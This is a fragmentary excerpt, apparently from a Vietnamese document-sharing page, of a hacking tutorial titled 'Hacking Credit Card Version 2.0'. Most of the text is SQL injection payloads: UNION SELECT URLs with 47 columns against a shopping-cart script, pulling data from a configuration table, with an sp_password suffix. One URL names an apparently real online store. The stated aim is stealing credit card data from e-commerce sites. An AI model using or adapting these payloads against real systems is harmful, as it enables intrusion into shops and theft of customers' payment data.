Ngày tải lên :
09/10/2013, 12:20
... '80040e14'
Syntax error in query expression 'cc.intcatalogid=p.catalogid and cc.intcategoryid=c.categoryid and c.
catdescription like '5'%' and hide=0 order by specialoffer desc,cname'.
/shop$db.asp, ... này:
http://www.victim.com/shopdisplayproducts.asp?cat='%20union%20%20select%201,2,3,
fieldvalue,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41
,42,43,44,45,46,47%20from%20configuration"having%201=1 sp_password
Hacking Credit Card Version 2.0 Written by Hieupc
shopdisplayproducts.asp?
cat='
Sau ... này:
'%20union%20%20select%
201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,
42,43,44,45,46,47%20from%20configuration"having%201=1 sp_password
Thay vào ta sẽ được:
http://www.valuevision.com.ph/shopdisplayproducts.asp?cat='%20union%20%20select%
201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,
42,43,44,45,46,47%20from%20configuration"having%201=1...